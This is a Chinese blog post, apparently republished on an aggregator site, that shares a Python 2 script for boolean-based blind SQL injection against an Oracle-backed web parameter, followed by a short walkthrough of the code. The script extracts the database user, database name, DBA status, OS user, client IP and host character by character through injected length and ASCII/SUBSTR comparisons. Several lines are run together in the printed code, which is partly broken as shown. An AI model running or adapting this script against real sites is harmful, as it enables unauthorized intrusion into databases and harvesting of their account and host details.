SQL注入盲注布尔类型脚本

Posted 逢人斗智斗勇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入盲注布尔类型脚本相关的知识,希望对你有一定的参考价值。

最近忙成dog啦啦啦啦啦啦~!然后也遇到很多挫折,这两天就跟一个小伙伴在搞一个东西,然后他写了个脚本给我。下面就是他的脚本,我进行了理解,如果我理解错了,欢迎在后台指正,谢谢!爱你哟


 

# -*- coding: UTF-8 -*-     
#!/usr/bin/env python

import requests
import sys

reload(sys)
sys.setdefaultencoding( "utf-8" )

url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=
key = "{关键字}"

def payload(dbinfo):
    len = 0
    list=[]
    result = ""
    print "----Fetching: "+dbinfo+"----"
    for i in range(100):
        pl = url + "{参数}' and length((SYS_CONTEXT('USERENV','"+dbinfo+"'))) ="+str(i)+" AND '1'='1"
        #print pl
        if key in myHttpRequest(pl):
            len = i
            break
    print "The size of "+dbinfo+" is:"+str(len)
    if len>0:
        for l in range(len):
            seq = l+1;
            for j inrange(48,122):
               sqli = url + "{参数}' andASCII(SUBSTR((SYS_CONTEXT('USERENV','"+dbinfo+"')),"+str(seq)+",1))="+str(j)+"AND '1'='1"
                ifkey in myHttpRequest(sqli):
                   #print sqli
                   print str(seq)+" of "+str(len)+" char:"+str(chr(j))
                   list.append(str(chr(j)))
                   break
        for i in list:
            result += str(i)
        print dbinfo+": "+result
    else:
        print "nothing found!"


def myHttpRequest(payload):
    result =requests.get(payload,timeout=20,allow_redirects=True,verify=False).content
    return result

def check(keyword):
    payload(keyword)


def main():
    check("CURRENT_USER")
    check("DB_NAME")
    check("EXTERNAL_NAME")
    check("CURRENT_SCHEMAID")
    check("AUTHENTICATION_TYPE")
    check("ISDBA")
    check("OS_USER")
    check("IP_ADDRESS")
    check("HOST")
    check("TERMINAL")

if __name__ == "__main__":
    main()
    #pl = url + "{参数}' andlength((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND '1'='1"
    #print pl
    #print myHttpRequest(pl)

 

其实是这样的url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=

这里是声明了url然后在下面可以直接调用。

然后开始对它进行一个拼接

def payload(dbinfo):

    len = 0

    list=[]

    result =""

    print"----Fetching: "+dbinfo+"----"

    for i inrange(100):

       pl = url +"参数' andlength((SYS_CONTEXT('USERENV','"+dbinfo+"'))) = "+str(i)+"AND '1'='1"

       #print pl

       if key inmyHttpRequest(pl):

           len = i

           break

最后写一个break跳出这个循环的过程。

def main():

        check("CURRENT_USER")

        check("DB_NAME")

        check("EXTERNAL_NAME")

        check("CURRENT_SCHEMAID")

        check("AUTHENTICATION_TYPE")

        check("ISDBA")

        check("OS_USER")

        check("IP_ADDRESS")

        check("HOST")

        check("TERMINAL")

这里的意思就是获取哪些信息。

if __name__ == "__main__":

        main()

        #pl= url + "{参数}' and length((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND'1'='1"

        #printpl

        #printmyHttpRequest(pl)

最后打印出这些信息出来



你的动力

我的前进方向


以上是关于SQL注入盲注布尔类型脚本的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入--联合查询+布尔盲注

SQL注入-布尔盲注实例

判断数据库类型

sql注入学习基于布尔 SQL 盲注

SQL注入盲注——布尔注入

SQL注入之布尔型盲注